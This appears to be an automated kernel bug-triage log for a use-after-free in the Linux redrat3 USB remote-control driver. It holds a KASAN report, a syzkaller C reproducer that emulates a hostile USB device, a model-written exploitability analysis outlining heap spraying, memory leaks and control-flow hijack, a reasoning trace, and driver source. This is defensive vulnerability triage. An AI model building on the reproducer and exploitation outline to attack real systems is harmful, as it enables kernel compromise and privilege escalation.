really_probe+0x241/0xa60 drivers/base/dd.c:706
__driver_probe_device+0x20e/0x450 drivers/base/dd.c:868
driver_probe_device+0x4a/0x140 drivers/base/dd.c:898
__device_attach_driver+0x1df/0x320 drivers/base/dd.c:1026
bus_for_each_drv+0x159/0x1e0 drivers/base/bus.c:500
__device_attach+0x1e4/0x4d0 drivers/base/dd.c:1098
device_initial_probe+0xaf/0xd0 drivers/base/dd.c:1153
bus_probe_device+0x64/0x160 drivers/base/bus.c:620
device_add+0x121d/0x1970 drivers/base/core.c:3772
usb_set_configuration+0xd97/0x1c60 drivers/usb/core/message.c:2268
usb_generic_driver_probe+0xa1/0xe0 drivers/usb/core/generic.c:250
usb_probe_device+0xef/0x400 drivers/usb/core/driver.c:291
call_driver_probe drivers/base/dd.c:628 [inline]
really_probe+0x241/0xa60 drivers/base/dd.c:706
__driver_probe_device+0x20e/0x450 drivers/base/dd.c:868
driver_probe_device+0x4a/0x140 drivers/base/dd.c:898
__device_attach_driver+0x1df/0x320 drivers/base/dd.c:1026
bus_for_each_drv+0x159/0x1e0 drivers/base/bus.c:500
__device_attach+0x1e4/0x4d0 drivers/base/dd.c:1098
device_initial_probe+0xaf/0xd0 drivers/base/dd.c:1153
bus_probe_device+0x64/0x160 drivers/base/bus.c:620
device_add+0x121d/0x1970 drivers/base/core.c:3772
usb_new_device.cold+0x685/0x115c drivers/usb/core/hub.c:2695
hub_port_connect drivers/usb/core/hub.c:5567 [inline]
hub_port_connect_change drivers/usb/core/hub.c:5707 [inline]
port_event drivers/usb/core/hub.c:5871 [inline]
hub_event+0x30a3/0x4a60 drivers/usb/core/hub.c:5953
process_one_work+0xa23/0x1940 kernel/workqueue.c:3322
process_scheduled_works kernel/workqueue.c:3405 [inline]
worker_thread+0x5ef/0xe50 kernel/workqueue.c:3486
kthread+0x370/0x450 kernel/kthread.c:436
ret_from_fork+0x72b/0xd50 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
The buggy address belongs to the object at ffff88807aced000
which belongs to the cache kmalloc-2k of size 2048
The buggy address is located 1880 bytes inside of
freed 2048-byte region [ffff88807aced000, ffff88807aced800)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x7ace8
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000040(head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000040 ffff88813fe28000 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800080008 00000000f5000000 0000000000000000
head: 00fff00000000040 ffff88813fe28000 dead000000000100 dead000000000122
head: 0000000000000000 0000000800080008 00000000f5000000 0000000000000000
head: 00fff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 4966, tgid 4966 (klogd), ts 87973202656, free_ts 87882599427
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0xfd/0x120 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0xf48/0x3530 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x299/0x2dc0 mm/page_alloc.c:5304
alloc_slab_page mm/slub.c:3266 [inline]
allocate_slab mm/slub.c:3380 [inline]
new_slab+0xa2/0x640 mm/slub.c:3426
refill_objects+0xe3/0x410 mm/slub.c:7310
refill_sheaf mm/slub.c:2804 [inline]
__pcs_replace_empty_main+0x376/0x680 mm/slub.c:4675
alloc_from_pcs mm/slub.c:4773 [inline]
slab_alloc_node mm/slub.c:4905 [inline]
__kmalloc_cache_noprof+0x479/0x6c0 mm/slub.c:5485
_kmalloc_noprof include/linux/slab.h:988 [inline]
syslog_print+0xf8/0x620 kernel/printk/printk.c:1585
do_syslog+0x5bd/0x6d0 kernel/printk/printk.c:1763
__do_sys_syslog kernel/printk/printk.c:1855 [inline]
__se_sys_syslog kernel/printk/printk.c:1853 [inline]
__x64_sys_syslog+0x74/0xb0 kernel/printk/printk.c:1853
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 4977 tgid 4977 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0x79f/0x1090 mm/page_alloc.c:2950
qlink_free mm/kasan/quarantine.c:163 [inline]
qlist_free_all+0x47/0xf0 mm/kasan/quarantine.c:179
kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
__kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
kasan_slab_alloc include/linux/kasan.h:253 [inline]
slab_post_alloc_hook mm/slub.c:4584 [inline]
slab_alloc_node mm/slub.c:4917 [inline]
kmem_cache_alloc_noprof+0x26b/0x6a0 mm/slub.c:4931
alloc_filename fs/namei.c:147 [inline]
do_getname+0x35/0x390 fs/namei.c:187
class_filename_flags_constructor include/linux/fs.h:2566 [inline]
do_sys_openat2+0xc7/0x1e0 fs/open.c:1367
do_sys_open fs/open.c:1374 [inline]
__do_sys_openat fs/open.c:1390 [inline]
__se_sys_openat fs/open.c:1385 [inline]
__x64_sys_openat+0x12d/0x210 fs/open.c:1385
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff88807aced600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88807aced680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88807aced700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88807aced780: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88807aced800: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
==================================================================
It is reproducible with the followint program.
Keep in mind that it may lack the precise threading, sandboxing, and some arguments of a working reproducer.
But it should give an idea of the involved syscalls.
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/usb/ch9.h>
static unsigned long long procid;
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
#define MAX_FDS 30
#define USB_MAX_IFACE_NUM 4
#define USB_MAX_EP_NUM 32
#define USB_MAX_FDS 6
struct usb_endpoint_index {
struct usb_endpoint_descriptor desc;
int handle;
};
struct usb_iface_index {
struct usb_interface_descriptor* iface;
uint8_t bInterfaceNumber;
uint8_t bAlternateSetting;
uint8_t bInterfaceClass;
struct usb_endpoint_index eps[USB_MAX_EP_NUM];
int eps_num;
};
struct usb_device_index {
struct usb_device_descriptor* dev;
struct usb_config_descriptor* config;
uint8_t bDeviceClass;
uint8_t bMaxPower;
int config_length;
struct usb_iface_index ifaces[USB_MAX_IFACE_NUM];
int ifaces_num;
int iface_cur;
};
struct usb_info {
int fd;
struct usb_device_index index;
};
static struct usb_info usb_devices[USB_MAX_FDS];
static struct usb_device_index* lookup_usb_index(int fd)
{
for (int i = 0; i < USB_MAX_FDS; i++) {
if (__atomic_load_n(&usb_devices[i].fd, __ATOMIC_ACQUIRE) == fd)
return &usb_devices[i].index;
}
return NULL;
}
static int usb_devices_num;
static bool parse_usb_descriptor(const char* buffer, size_t length, struct usb_device_index* index)
{
if (length < sizeof(*index->dev) + sizeof(*index->config))
return false;
memset(index, 0, sizeof(*index));
index->dev = (struct usb_device_descriptor*)buffer;
index->config = (struct usb_config_descriptor*)(buffer + sizeof(*index->dev));
index->bDeviceClass = index->dev->bDeviceClass;
index->bMaxPower = index->config->bMaxPower;
index->config_length = length - sizeof(*index->dev);
index->iface_cur = -1;
size_t offset = 0;
while (true) {
if (offset + 1 >= length)
break;
uint8_t desc_length = buffer[offset];
uint8_t desc_type = buffer[offset + 1];
if (desc_length <= 2)
break;
if (offset + desc_length > length)
break;
if (desc_type == USB_DT_INTERFACE && index->ifaces_num < USB_MAX_IFACE_NUM) {
struct usb_interface_descriptor* iface = (struct usb_interface_descriptor*)(buffer + offset);
index->ifaces[index->ifaces_num].iface = iface;
index->ifaces[index->ifaces_num].bInterfaceNumber = iface->bInterfaceNumber;
index->ifaces[index->ifaces_num].bAlternateSetting = iface->bAlternateSetting;
index->ifaces[index->ifaces_num].bInterfaceClass = iface->bInterfaceClass;
index->ifaces_num++;
}
if (desc_type == USB_DT_ENDPOINT && index->ifaces_num > 0) {
struct usb_iface_index* iface = &index->ifaces[index->ifaces_num - 1];
if (iface->eps_num < USB_MAX_EP_NUM) {
memcpy(&iface->eps[iface->eps_num].desc, buffer + offset, sizeof(iface->eps[iface->eps_num].desc));
iface->eps_num++;
}
}
offset += desc_length;
}
return true;
}
static struct usb_device_index* add_usb_index(int fd, const char* dev, size_t dev_len)
{
int i = __atomic_fetch_add(&usb_devices_num, 1, __ATOMIC_RELAXED);
if (i >= USB_MAX_FDS)
return NULL;
if (!parse_usb_descriptor(dev, dev_len, &usb_devices[i].index))
return NULL;
__atomic_store_n(&usb_devices[i].fd, fd, __ATOMIC_RELEASE);
return &usb_devices[i].index;
}
struct vusb_connect_string_descriptor {
uint32_t len;
char* str;
} __attribute__((packed));
struct vusb_connect_descriptors {
uint32_t qual_len;
char* qual;
uint32_t bos_len;
char* bos;
uint32_t strs_len;
struct vusb_connect_string_descriptor strs[0];
} __attribute__((packed));
static const char default_string[] = {
8, USB_DT_STRING,
's', 0, 'y', 0, 'z', 0
};
static const char default_lang_id[] = {
4, USB_DT_STRING,
0x09, 0x04
};
static bool lookup_connect_response_in(int fd, const struct vusb_connect_descriptors* descs,
const struct usb_ctrlrequest* ctrl,
struct usb_qualifier_descriptor* qual,
char** response_data, uint32_t* response_length)
{
struct usb_device_index* index = lookup_usb_index(fd);
uint8_t str_idx;
if (!index)
return false;
switch (ctrl->bRequestType & USB_TYPE_MASK) {
case USB_TYPE_STANDARD:
switch (ctrl->bRequest) {
case USB_REQ_GET_DESCRIPTOR:
switch (ctrl->wValue >> 8) {
case USB_DT_DEVICE:
*response_data = (char*)index->dev;
*response_length = sizeof(*index->dev);
return true;
case USB_DT_CONFIG:
*response_data = (char*)index->config;
*response_length = index->config_length;
return true;
case USB_DT_STRING:
str_idx = (uint8_t)ctrl->wValue;
if (descs && str_idx < descs->strs_len) {
*response_data = descs->strs[str_idx].str;
*response_length = descs->strs[str_idx].len;
return true;
}
if (str_idx == 0) {
*response_data = (char*)&default_lang_id[0];
*response_length = default_lang_id[0];
return true;
}
*response_data = (char*)&default_string[0];
*response_length = default_string[0];
return true;
case USB_DT_BOS:
*response_data = descs->bos;
*response_length = descs->bos_len;
return true;
case USB_DT_DEVICE_QUALIFIER:
if (!descs->qual) {
qual->bLength = sizeof(*qual);
qual->bDescriptorType = USB_DT_DEVICE_QUALIFIER;
qual->bcdUSB = index->dev->bcdUSB;
qual->bDeviceClass = index->dev->bDeviceClass;
qual->bDeviceSubClass = index->dev->bDeviceSubClass;
qual->bDeviceProtocol = index->dev->bDeviceProtocol;
qual->bMaxPacketSize0 = index->dev->bMaxPacketSize0;
qual->bNumConfigurations = index->dev->bNumConfigurations;
qual->bRESERVED = 0;
*response_data = (char*)qual;
*response_length = sizeof(*qual);
return true;
}
*response_data = descs->qual;
*response_length = descs->qual_len;
return true;
default:
break;
}
break;
default:
break;
}
break;
default:
break;
}
return false;
}
typedef bool (*lookup_connect_out_response_t)(int fd, const struct vusb_connect_descriptors* descs,
const struct usb_ctrlrequest* ctrl, bool* done);
static bool lookup_connect_response_out_generic(int fd, const struct vusb_connect_descriptors* descs,
const struct usb_ctrlrequest* ctrl, bool* done)
{
switch (ctrl->bRequestType & USB_TYPE_MASK) {
case USB_TYPE_STANDARD:
switch (ctrl->bRequest) {
case USB_REQ_SET_CONFIGURATION:
*done = true;
return true;
default:
break;
}
break;
}
return false;
}
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_EPS_NUM_MAX 30
#define USB_RAW_EP_NAME_MAX 16
#define USB_RAW_EP_ADDR_ANY 0xff
struct usb_raw_ep_caps {
__u32 type_control : 1;
__u32 type_iso : 1;
__u32 type_bulk : 1;
__u32 type_int : 1;
__u32 dir_in : 1;
__u32 dir_out : 1;
};
struct usb_raw_ep_limits {
__u16 maxpacket_limit;
__u16 max_streams;
__u32 reserved;
};
struct usb_raw_ep_info {
__u8 name[USB_RAW_EP_NAME_MAX];
__u32 addr;
struct usb_raw_ep_caps caps;
struct usb_raw_ep_limits limits;
};
struct usb_raw_eps_info {
struct usb_raw_ep_info eps[USB_RAW_EPS_NUM_MAX];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_DISABLE _IOW('U', 6, __u32)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_READ _IOWR('U', 8, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_VBUS_DRAW _IOW('U', 10, __u32)
#define USB_RAW_IOCTL_EPS_INFO _IOR('U', 11, struct usb_raw_eps_info)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
#define USB_RAW_IOCTL_EP_CLEAR_HALT _IOW('U', 14, __u32)
#define USB_RAW_IOCTL_EP_SET_WEDGE _IOW('U', 15, __u32)
static int usb_raw_open()
{
return open("/dev/raw-gadget", O_RDWR);
}
static int usb_raw_init(int fd, uint32_t speed, const char* driver, const char* device)
{
struct usb_raw_init arg;
strncpy((char*)&arg.driver_name[0], driver, sizeof(arg.driver_name));
strncpy((char*)&arg.device_name[0], device, sizeof(arg.device_name));
arg.speed = speed;
return ioctl(fd, USB_RAW_IOCTL_INIT, &arg);
}
static int usb_raw_run(int fd)
{
return ioctl(fd, USB_RAW_IOCTL_RUN, 0);
}
static int usb_raw_configure(int fd)
{
return ioctl(fd, USB_RAW_IOCTL_CONFIGURE, 0);
}
static int usb_raw_vbus_draw(int fd, uint32_t power)
{
return ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, power);
}
static int usb_raw_ep0_write(int fd, struct usb_raw_ep_io* io)
{
return ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io);
}
static int usb_raw_ep0_read(int fd, struct usb_raw_ep_io* io)
{
return ioctl(fd, USB_RAW_IOCTL_EP0_READ, io);
}
static int usb_raw_event_fetch(int fd, struct usb_raw_event* event)
{
return ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, event);
}
static int usb_raw_ep_enable(int fd, struct usb_endpoint_descriptor* desc)
{
return ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, desc);
}
static int usb_raw_ep_disable(int fd, int ep)
{
return ioctl(fd, USB_RAW_IOCTL_EP_DISABLE, ep);
}
static int usb_raw_ep0_stall(int fd)
{
return ioctl(fd, USB_RAW_IOCTL_EP0_STALL, 0);
}
#define USB_MAX_PACKET_SIZE 4096
struct usb_raw_control_event {
struct usb_raw_event inner;
struct usb_ctrlrequest ctrl;
char data[USB_MAX_PACKET_SIZE];
};
struct usb_raw_ep_io_data {
struct usb_raw_ep_io inner;
char data[USB_MAX_PACKET_SIZE];
};
static void set_interface(int fd, int n)
{
struct usb_device_index* index = lookup_usb_index(fd);
if (!index)
return;
if (index->iface_cur >= 0 && index->iface_cur < index->ifaces_num) {
for (int ep = 0; ep < index->ifaces[index->iface_cur].eps_num; ep++) {
int rv = usb_raw_ep_disable(fd, index->ifaces[index->iface_cur].eps[ep].handle);
if (rv < 0) {
} else {
}
}
}
if (n >= 0 && n < index->ifaces_num) {
for (int ep = 0; ep < index->ifaces[n].eps_num; ep++) {
int rv = usb_raw_ep_enable(fd, &index->ifaces[n].eps[ep].desc);
if (rv < 0) {
} else {
index->ifaces[n].eps[ep].handle = rv;
}
}
index->iface_cur = n;
}
}
static int configure_device(int fd)
{
struct usb_device_index* index = lookup_usb_index(fd);
if (!index)
return -1;
int rv = usb_raw_vbus_draw(fd, index->bMaxPower);
if (rv < 0) {
return rv;
}
rv = usb_raw_configure(fd);
if (rv < 0) {
return rv;
}
set_interface(fd, 0);
return 0;
}
static volatile long syz_usb_connect_impl(uint64_t speed, uint64_t dev_len, const char* dev,
const struct vusb_connect_descriptors* descs,
lookup_connect_out_response_t lookup_connect_response_out)
{
if (!dev) {
return -1;
}
int fd = usb_raw_open();
if (fd < 0) {
return fd;
}
if (fd >= MAX_FDS) {
close(fd);
return -1;
}
struct usb_device_index* index = add_usb_index(fd, dev, dev_len);
if (!index) {
return -1;
}
char device[32];
sprintf(&device[0], "dummy_udc.%llu", procid);
int rv = usb_raw_init(fd, speed, "dummy_udc", &device[0]);
if (rv < 0) {
return rv;
}
rv = usb_raw_run(fd);
if (rv < 0) {
return rv;
}
bool done = false;
while (!done) {
struct usb_raw_control_event event;
event.inner.type = 0;
event.inner.length = sizeof(event.ctrl);
rv = usb_raw_event_fetch(fd, (struct usb_raw_event*)&event);
if (rv < 0) {
return rv;
}
if (event.inner.type != USB_RAW_EVENT_CONTROL)
continue;
char* response_data = NULL;
uint32_t response_length = 0;
struct usb_qualifier_descriptor qual;
if (event.ctrl.bRequestType & USB_DIR_IN) {
if (!lookup_connect_response_in(fd, descs, &event.ctrl, &qual, &response_data, &response_length)) {
usb_raw_ep0_stall(fd);
continue;
}
} else {
if (!lookup_connect_response_out(fd, descs, &event.ctrl, &done)) {
usb_raw_ep0_stall(fd);
continue;
}
response_data = NULL;
response_length = event.ctrl.wLength;
}
if ((event.ctrl.bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD &&
event.ctrl.bRequest == USB_REQ_SET_CONFIGURATION) {
rv = configure_device(fd);
if (rv < 0) {
return rv;
}
}
struct usb_raw_ep_io_data response;
response.inner.ep = 0;
response.inner.flags = 0;
if (response_length > sizeof(response.data))
response_length = 0;
if (event.ctrl.wLength < response_length)
response_length = event.ctrl.wLength;
response.inner.length = response_length;
if (response_data)
memcpy(&response.data[0], response_data, response_length);
else
memset(&response.data[0], 0, response_length);
if (event.ctrl.bRequestType & USB_DIR_IN) {
rv = usb_raw_ep0_write(fd, (struct usb_raw_ep_io*)&response);
} else {
rv = usb_raw_ep0_read(fd, (struct usb_raw_ep_io*)&response);
}
if (rv < 0) {
return rv;
}
}
sleep_ms(200);
return fd;
}
static volatile long syz_usb_connect(volatile long a0, volatile long a1, volatile long a2, volatile long a3)
{
uint64_t speed = a0;
uint64_t dev_len = a1;
const char* dev = (const char*)a2;
const struct vusb_connect_descriptors* descs = (const struct vusb_connect_descriptors*)a3;
return syz_usb_connect_impl(speed, dev_len, dev, descs, &lookup_connect_response_out_generic);
}
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
const char* reason;
(void)reason;
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
// syz_usb_connect arguments: [
// speed: usb_device_speed = 0x0 (8 bytes)
// dev_len: len = 0x39 (8 bytes)
// dev: ptr[inout, array[ANYUNION]] {
// array[ANYUNION] {
// union ANYUNION {
// ANYBLOB: buffer: {12 01 00 02 00 00 00 40 2a 11 01 00 00 01 01 02 03 01 09 02 27 00 01 01 00 80 fa 09 04 00 00 03 ff ff ff 00 07 05 81 02 40 00 00 07 05 82 02 40 00 00 07 05 03 02 40 00 00} (length 0x39)
// }
// }
// }
// conn_descs: nil
// ]
// returns fd_usb
memcpy((void*)0x200000000100, "... [truncated large byte array] ...", 57);
syz_usb_connect(/*speed=*/0, /*dev_len=*/0x39, /*dev=*/0x200000000100, /*conn_descs=*/0);
return 0;
}
Reply: **Bug Analysis:**
The bug is a Use-After-Free (UAF) in the `redrat3` driver (drivers/media/rc/redrat3.c).
During the initialization of the device in `redrat3_dev_probe()`, the driver allocates a `struct redrat3_dev` object (`rr3`) and initializes an RC (Remote Control) device by calling `redrat3_init_rc_dev(rr3)`. This function successfully registers the RC device with the kernel via `rc_register_device(rc)`.
Following this, the probe function calls `redrat3_enable_detector(rr3)`. If this function fails (which can happen if a malicious USB device returns an unexpected status to a control message), the probe function jumps to the error handling path (`led_free` -> `redrat_free`). The error path frees the `rr3` object via `redrat3_delete(rr3, ...)`.
However, the error path completely misses unregistering the previously registered RC device (`rc_unregister_device()` is not called). The RC device is left registered and exposed to userspace, but its `priv` pointer and `device_name` pointer still point to the now-freed `rr3` object.
When a userspace process (like `udevd`) reads the `uevent` file of the leaked RC device, `rc_dev_uevent()` reads `dev->device_name`, triggering a UAF read.
**Exploitability:**
This bug is highly **Exploitable**.
The freed `struct redrat3_dev` object is allocated in the `kmalloc-2k` cache. An attacker can spray this cache to overwrite the freed object with controlled data.
1. **Information Leak:** Reading the `uevent` file of the RC device will output the contents of the `name` field from the sprayed object, allowing the attacker to leak up to 2048 bytes of kernel memory.
2. **Memory Corruption / Privilege Escalation:** The leaked RC device is fully functional. An attacker can open the corresponding `/dev/lircX` node and issue ioctls. For example, calling `LIRC_SET_SEND_CARRIER` will write a 32-bit controlled value to `rr3->carrier` (a UAF write). Calling `LIRC_TX` will invoke `redrat3_transmit_ir()`, which dereferences pointers like `rr3->udev` and `rr3->ep_out` from the freed object. By forging these pointers in the sprayed object, an attacker can achieve arbitrary memory read/write and hijack the kernel control flow.
**Triggering:**
Triggering the bug requires plugging in a malicious USB device that intentionally fails the `redrat3_enable_detector()` check.
- It is a **Peripheral Trigger** because it requires a physical USB device.
- It is **NOT Accessible From Unprivileged Processes** or **User Namespaces** because unprivileged users cannot emulate or plug in USB devices (which requires physical access or root privileges to use raw-gadget/vhci).
- It is a **VM Host Trigger** because a malicious KVM host can emulate and attach this USB device to a Confidential Computing guest to compromise the guest kernel.
|
| 6/2 |
2026/08/09 09:06 |
llm |
expert |
0m
Model:
Tokens:
input: 17847
output: 42
thoughts: 880
Thoughts: **KASAN Slab-Use-After-Free in `string_nocheck`**
Okay, so I'm looking at a KASAN slab-use-after-free report. This is happening in `string_nocheck`, which is being called from `vsnprintf`. The chain looks like this: `add_uevent_var` in `rc_dev_uevent` calls `vsnprintf`. The trigger is `udevd` reading a sysfs file, specifically `uevent_show`, which then calls `dev_uevent` and that then calls `rc_dev_uevent`. That leads us to `add_uevent_var` and the call to `vsnprintf` with a freed string.
Let's drill down into the stack trace. The report shows a read of size 1 at that specific address is the culprit, and the backtrace clearly shows the `string_nocheck` and `string` functions within `vsprintf.c` are where the use-after-free is happening, originating from `add_uevent_var`. `udevd` is the user of the freed memory.
Crucially, the KASAN report also identifies the allocation and deallocation points. The object was allocated by `redrat3_dev_probe` and ultimately freed by `kfree`, called through `redrat3_delete`. Both `redrat3_dev_probe` and `redrat3_delete` are called within the same USB probing/un-probing context. It looks like `usb_probe_interface` is the common caller.
So, I need to focus on those two functions, `redrat3_dev_probe` and `rc_dev_uevent`. It's likely that a string is allocated within the probe, and deallocated when the device is removed, but for some reason, the uevent is triggered between these two points. We might have a race condition or an improper reference count somewhere. Time to dive into those code paths.
|
| 7/2 |
2026/08/09 09:06 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/media/rc/redrat3.c Name:redrat3_dev_probe]
Results: map[SourceCode: 971: static int redrat3_dev_probe(struct usb_interface *intf,
972: const struct usb_device_id *id)
973: {
974: struct usb_device *udev = interface_to_usbdev(intf);
975: struct device *dev = &intf->dev;
976: struct usb_host_interface *uhi;
977: struct redrat3_dev *rr3;
978: struct usb_endpoint_descriptor *ep;
979: struct usb_endpoint_descriptor *ep_narrow = NULL;
980: struct usb_endpoint_descriptor *ep_wide = NULL;
981: struct usb_endpoint_descriptor *ep_out = NULL;
982: u8 addr, attrs;
983: int pipe, i;
984: int retval = -ENOMEM;
985:
986: uhi = intf->cur_altsetting;
987:
988: /* find our bulk-in and bulk-out endpoints */
989: for (i = 0; i < uhi->desc.bNumEndpoints; ++i) {
990: ep = &uhi->endpoint[i].desc;
991: addr = ep->bEndpointAddress;
992: attrs = ep->bmAttributes;
993:
994: if (((addr & USB_ENDPOINT_DIR_MASK) == USB_DIR_IN) &&
995: ((attrs & USB_ENDPOINT_XFERTYPE_MASK) ==
996: USB_ENDPOINT_XFER_BULK)) {
997: dev_dbg(dev, "found bulk-in endpoint at 0x%02x\n",
998: ep->bEndpointAddress);
999: /* data comes in on 0x82, 0x81 is for learning */
1000: if (ep->bEndpointAddress == RR3_NARROW_IN_EP_ADDR)
1001: ep_narrow = ep;
1002: if (ep->bEndpointAddress == RR3_WIDE_IN_EP_ADDR)
1003: ep_wide = ep;
1004: }
1005:
1006: if ((ep_out == NULL) &&
1007: ((addr & USB_ENDPOINT_DIR_MASK) == USB_DIR_OUT) &&
1008: ((attrs & USB_ENDPOINT_XFERTYPE_MASK) ==
1009: USB_ENDPOINT_XFER_BULK)) {
1010: dev_dbg(dev, "found bulk-out endpoint at 0x%02x\n",
1011: ep->bEndpointAddress);
1012: ep_out = ep;
1013: }
1014: }
1015:
1016: if (!ep_narrow || !ep_out || !ep_wide) {
1017: dev_err(dev, "Couldn't find all endpoints\n");
1018: retval = -ENODEV;
1019: goto no_endpoints;
1020: }
1021:
1022: /* allocate memory for our device state and initialize it */
1023: rr3 = kzalloc_obj(*rr3);
1024: if (!rr3)
1025: goto no_endpoints;
1026:
1027: rr3->dev = &intf->dev;
1028: rr3->ep_narrow = ep_narrow;
1029: rr3->ep_out = ep_out;
1030: rr3->udev = udev;
1031:
1032: /* set up bulk-in endpoint */
1033: rr3->narrow_urb = usb_alloc_urb(0, GFP_KERNEL);
1034: if (!rr3->narrow_urb)
1035: goto redrat_free;
1036:
1037: rr3->wide_urb = usb_alloc_urb(0, GFP_KERNEL);
1038: if (!rr3->wide_urb)
1039: goto redrat_free;
1040:
1041: rr3->bulk_in_buf = usb_alloc_coherent(udev,
1042: le16_to_cpu(ep_narrow->wMaxPacketSize),
1043: GFP_KERNEL, &rr3->dma_in);
1044: if (!rr3->bulk_in_buf)
1045: goto redrat_free;
1046:
1047: pipe = usb_rcvbulkpipe(udev, ep_narrow->bEndpointAddress);
1048: usb_fill_bulk_urb(rr3->narrow_urb, udev, pipe, rr3->bulk_in_buf,
1049: le16_to_cpu(ep_narrow->wMaxPacketSize),
1050: redrat3_handle_async, rr3);
1051: rr3->narrow_urb->transfer_dma = rr3->dma_in;
1052: rr3->narrow_urb->transfer_flags |= URB_NO_TRANSFER_DMA_MAP;
1053:
1054: pipe = usb_rcvbulkpipe(udev, ep_wide->bEndpointAddress);
1055: usb_fill_bulk_urb(rr3->wide_urb, udev, pipe, rr3->bulk_in_buf,
1056: le16_to_cpu(ep_narrow->wMaxPacketSize),
1057: redrat3_handle_async, rr3);
1058: rr3->wide_urb->transfer_dma = rr3->dma_in;
1059: rr3->wide_urb->transfer_flags |= URB_NO_TRANSFER_DMA_MAP;
1060:
1061: redrat3_reset(rr3);
1062: redrat3_get_firmware_rev(rr3);
1063:
1064: /* default.. will get overridden by any sends with a freq defined */
1065: rr3->carrier = 38000;
1066:
1067: atomic_set(&rr3->flash, 0);
1068: rr3->flash_urb = usb_alloc_urb(0, GFP_KERNEL);
1069: if (!rr3->flash_urb)
1070: goto redrat_free;
1071:
1072: /* learn urb */
1073: rr3->learn_urb = usb_alloc_urb(0, GFP_KERNEL);
1074: if (!rr3->learn_urb)
1075: goto redrat_free;
1076:
